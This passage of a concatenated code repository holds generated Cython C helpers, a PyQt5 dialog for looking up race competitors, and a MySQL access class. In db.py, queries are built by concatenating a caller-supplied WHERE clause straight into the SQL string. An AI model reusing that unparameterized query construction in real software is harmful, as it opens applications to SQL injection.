(((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* FastTypeChecks */ #if CYTHON_COMPILING_IN_CPYTHON static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { while (a) { a = a->tp_base; if (a == b) return 1; } return b == &PyBaseObject_Type; } static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { PyObject *mro; if (a == b) return 1; mro = a->tp_mro; if (likely(mro)) { Py_ssize_t i, n; n = PyTuple_GET_SIZE(mro); for (i = 0; i < n; i++) { if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) return 1; } return 0; } return __Pyx_InBases(a, b); } #if PY_MAJOR_VERSION == 2 static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { PyObject *exception, *value, *tb; int res; __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ErrFetch(&exception, &value, &tb); res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; if (unlikely(res == -1)) { PyErr_WriteUnraisable(err); res = 0; } if (!res) { res = PyObject_IsSubclass(err, exc_type2); if (unlikely(res == -1)) { PyErr_WriteUnraisable(err); res = 0; } } __Pyx_ErrRestore(exception, value, tb); return res; } #else static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { int res = exc_type1 ? __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type1) : 0; if (!res) { res = __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); } return res; } #endif static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject* exc_type) { if (likely(err == exc_type)) return 1; if (likely(PyExceptionClass_Check(err))) { return __Pyx_inner_PyErr_GivenExceptionMatches2(err, NULL, exc_type); } return PyErr_GivenExceptionMatches(err, exc_type); } static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *exc_type1, PyObject *exc_type2) { if (likely(err == exc_type1 || err == exc_type2)) return 1; if (likely(PyExceptionClass_Check(err))) { return __Pyx_inner_PyErr_GivenExceptionMatches2(err, exc_type1, exc_type2); } return (PyErr_GivenExceptionMatches(err, exc_type1) || PyErr_GivenExceptionMatches(err, exc_type2)); } #endif /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; if (PyObject_Hash(*t->p) == -1) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT #if !CYTHON_PEP393_ENABLED static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; } #else static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (likely(PyUnicode_IS_ASCII(o))) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif } #endif #endif static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { return __Pyx_PyUnicode_AsStringAndSize(o, length); } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { #if PY_MAJOR_VERSION >= 3 if (PyLong_Check(result)) { if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, "__int__ returned non-int (type %.200s). " "The ability to return an instance of a strict subclass of int " "is deprecated, and may be removed in a future version of Python.", Py_TYPE(result)->tp_name)) { Py_DECREF(result); return NULL; } return result; } #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", type_name, type_name, Py_TYPE(result)->tp_name); Py_DECREF(result); return NULL; } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x) || PyLong_Check(x))) #else if (likely(PyLong_Check(x))) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = m->nb_int(x); } else if (m && m->nb_long) { name = "long"; res = m->nb_long(x); } #else if (likely(m && m->nb_int)) { name = "int"; res = m->nb_int(x); } #endif #else if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { res = PyNumber_Int(x); } #endif if (likely(res)) { #if PY_MAJOR_VERSION < 3 if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { #else if (unlikely(!PyLong_CheckExact(res))) { #endif return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/gui/Set_RacerTp.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### from PyQt5 import QtWidgets, QtCore from gui.Ui_Set_RacerTp import Ui_Set_RacerTp # Tables definition imports #from T_Marques import T_Marques #from T_Concurrents import T_Concurrents #from T_Pays import T_Pays #from T_Ville import T_Ville import Globals class Set_RacerTp(QtWidgets.QDialog, Ui_Set_RacerTp): def __init__(self, parent=None): self.r_num = None self.r_fname = None self.r_lname = None self.r_dict = None self.r_item = None self.r_index = None super(Set_RacerTp, self).__init__(parent) self.setupUi(self) def getNum(self): return self.r_num def getFname(self): return self.r_fname def getLname(self): return self.r_lname def getDict(self): return self.r_dict def main(self): self.connectActions() self.initGui() self.show() def initGui(self): print() def findNumRacer(self): try: fn = int( self.R_number.text() ) item = Globals.MainWindow.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) except: return if len( item )>0: d = Globals.racerList[ item[0].data(Globals.UserRole) ] self.r_item = item[0] self.R_firstname.setText( d['prenom'] ) self.R_lastname.setText( d['nom'] ) self.r_num = fn self.r_fname = d['prenom'] self.r_lname = d['nom'] self.r_dict = d self.OkBtn.setEnabled(True) else: self.OkBtn.setEnabled(False) def connectActions(self): self.R_number.returnPressed.connect(self.findNumRacer) # Globals.MainWindow <file_sep>/db.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### # interface to database tables # ###################################################################################### import pymysql pymysql.install_as_MySQLdb() import MySQLdb from time import time from Preferences import Preferences as pref class db( ): _link = None # link to the database. globals to all tables flag_local = (1<<70) # bit 70 is set, to get local id def __init__(self): # TODO: abstrac the database driver, to be independent if self._link == None: # if no link to database try: self._link = MySQLdb.connect( # try to open a connection to the database pref.dataBase['host'], # hostname from preference pref.dataBase['user'], # database username pref.dataBase['pass'], # database password pref.dataBase['db'], # database to use charset='utf8' # charset must be utf8 ) except Exception as e1: try: # if error opening, try localhost as host self._link = MySQLdb.connect( # try to open a connection to the database pref.dataBase["localhost"], # hostname from preference pref.dataBase['user'], # database username pref.dataBase['pass'], # database password pref.dataBase['db'], # database to use charset='utf8' # charset must be utf8 ) except Exception as e2: print("ERROR Opening database connextion, Please set the host in Preferences File") print( e1 ) print( e2 ) exit( -1 ) if self._link == None: print("ERROR Opening database connextion, Please set the host in Preferences File") exit( -1 ) if self._desc == None: # init table description, one for all instance self._desc = [] if self._link != None: if len(self._desc) == 0: try: d = self.getTableDescription() for r in d: self._desc.append([r[0], r[1]]) except Exception as e: print("ERROR: Getting the table descriptio") print(e) else: print("Error openning dataBase") exit( -1 ) self._data = {} # initialise the dictionary space self.newRecord() # create all fields self._index = -1 def newRecord(self): for i in self._desc: t = i[1].split('(')[0] n = i[0] if t=='int' or t=='bigint': self._data[n] = 0 elif t=='float' or t=='double' or t=='real': self._data[n] = 0.0 else: self._data[n] = "" self._data['id'] = -1 # if id is negative, record not in database self.localid = int( time() * 1e7) + self.flag_local # create a local id self.modified = False # True if record modified self.indb = False # true if record is in Db def getDbVersion(self): # retrun the database version, may only run on mySql try: cursor = self._link.cursor() cursor.execute("SELECT VERSION()") data = cursor.fetchone() cursor.close() except: data = "" finally: return data def getTableDescription(self,): try: cursor = self._link.cursor() cursor.execute("DESC "+ self.__class__.__name__) data = cursor.fetchall() cursor.close() except: data = "" finally: return data def getRecord(self, wclause, index = 0 ): try: cursor = self._link.cursor() cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) data = cursor.fetchone() cursor.close() if data == None: self.newRecord() print("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) return False else: for i in range( 0, len(data) -1 ): self._data[self._desc[i][0]] = data[i] except Exception as e: print(e) return False self.indb = True self.modified = False return True def getNextRecord(self ): try: cursor = self._link.cursor() cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) data = cursor.fetchone() cursor.close() if data == None: self.newRecord() return False else: for i in range( 0, len(data) ): self._data[self._desc[i][0]] = data[i] except Exception as e: print(e) return False self._index += 1 self.indb = True self.modified = False return True def getPrevRecord(self ): try: cursor = self._link.cursor() cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) data = cursor.fetchone() cursor.close() if data == None: self.newRecord() return False else: for i in range( 0, len(data) -1 ): self._data[self._desc[i][0]] = data[i] except Exception as e: print(e) return False self._index -= 1 self.indb = True self.modified = False return True def saveRecord( self ): # TODO: Wrtie the rotine to save the data to database return False try: cursor = self._link.cursor() cursor.execute("SELECT * FROM "+ self.__class__.__name__) data = cursor.fetchone() cursor.close() if data == None: self.newRecord() print("SELECT * FROM "+ self.__class__.__name__) return False else: for i in range( 0, len(data) -1 ): self._data[self._desc[i][0]] = data[i] except Exception as e: print(e) return False self.indb = True self.modified = False return True <file_sep>/cython/gui/Ui_MainWindow.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define 